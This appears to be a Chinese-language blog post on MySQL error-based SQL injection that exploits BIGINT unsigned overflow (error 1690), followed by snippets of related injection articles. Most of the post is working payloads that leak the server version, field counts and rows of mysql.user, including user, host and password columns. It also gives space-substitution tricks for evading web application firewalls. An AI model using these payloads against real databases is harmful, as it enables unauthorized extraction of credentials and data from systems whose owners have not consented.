新型mysql報錯注入

2021-06-23 04:41:00 字數 2452 閱讀 6914

新型mysql報錯注入,這種報錯注入主要是基於mysql中無符號int資料型別的溢位:

1.查詢資料庫版本:

select 2*(if((select 8 from (select (version()))s),18446744073709551610, 18446744073709551610));=select 1e308*if((select * from (select version())x),2,2)或者=select if(x,2,2)*1e308 from(select version()x)y

error 1690 (22003): bigint unsigned value is out of range in '(2 * if (( select ' 5.5 from dual), 18446744073709551610.1844674407370955 1610))' 1610))'

2.獲取欄位名稱:

select 2*if((select * from (select * from test.shop)as a limit 1)>(select * from test.shop limit 1),18446744073709551610, 18446744073709551610);=select 1e308*if((select * from(select * from mysql.user) a limit 1)>(select *from mysql.user limit 1),2,2)

3.獲取字段值:

select 2*if((select * from(select * from (mysql.user) limit 1) as a limit 1)<(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),18446744073709551610.1844674407370955 1610);=select 1e308*if((select * from(select * from mysql.user limit 1)a limit 1)>(select * from mysql.user limit 0),2,2)

可以修改limit後面的引數,來選擇報錯哪行資料,只要求使用limit只查詢一行資料。如報錯查詢第二行資料:select 1e308*if((select * from(select * from mysql.user limit 1,1)a limit 1)>(select * from mysql.user limit 0),2,2)

需要注意的是該方法並不適用於老版的mysql,在mysql5.5存在。除此之外還需要了解錯誤資訊的長度限制,這將決定可以獲取多長的資訊

4.獲取指定欄位的值

select 1e308*if((select user||host||password from (select * from mysql.user limit 1)a limit 1),2,2)

可以修改limit後面的引數,來選擇報錯哪行資料,只要求使用limit只查詢一行資料。如報錯查詢第二行資料:select 1e308*if((select user||host||password from (select * from mysql.user limit 1,1)a limit 1),2,2)

5.獲取欄位的個數:

select 1e308*if((select *from mysql.user limit 1)>(select 1),2,2)

6.其他的一些變形語句:

select (i is not null) --9223372036854775808 from (select version())i)a

select (x!=0x00)--9223372036854775808 from (select version()x)y

在mysql中,select後查詢欄位前的空格可以用+號代替或直接省略掉,其他地方的空格則不能替換。如select host,user from mysql.user 可以換為select+host,user from mysql.user 或者 selecthost,user from mysql.user

select!x-~0.from(select+user()x)f;

select!x-~0.from(select concat(host,user)x from mysql.user limit 1)f;

爆所有行資料:select!x-~0.from(select group_concat(host,user)x from mysql.user)f;只要將查詢的資料使用concat或者group_concat合在一起組成乙個欄位x就可以報錯注入了,上面語句中~0後面的.是用來代替空格的,即如果查詢語句中查詢的引數最後是數字,則可以用.來代替 空格。加上上面說的select後的空格可以用+號來代替,可以構造類似如下的語句來繞過waf等:

select+1.from mysql.user;

select+user,1.from mysql.user;

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...

mysql報錯型注入

mysql bug 8652 group by 對一些rand 函式進行操作時會返回duplicate key 錯誤,而這個錯誤將會披露關鍵資訊 duplicate entry for key1 這裡的 正是使用者輸入的希望查詢的內容 而該bug產生的主要原因就是 在rand 和group by同時...

mysql 報錯注入寫檔案 mysql注入總結

目錄 0x00 mysql一般注入 select 0x01 mysql一般注入 insert update 0x02 mysql報錯注入 0x03 mysql一般盲注 0x04 mysql時間盲注 0x05 mysql其他注入技巧 0x06 mysql資料庫版本特性 0x07 宣告 正文 0x00 ...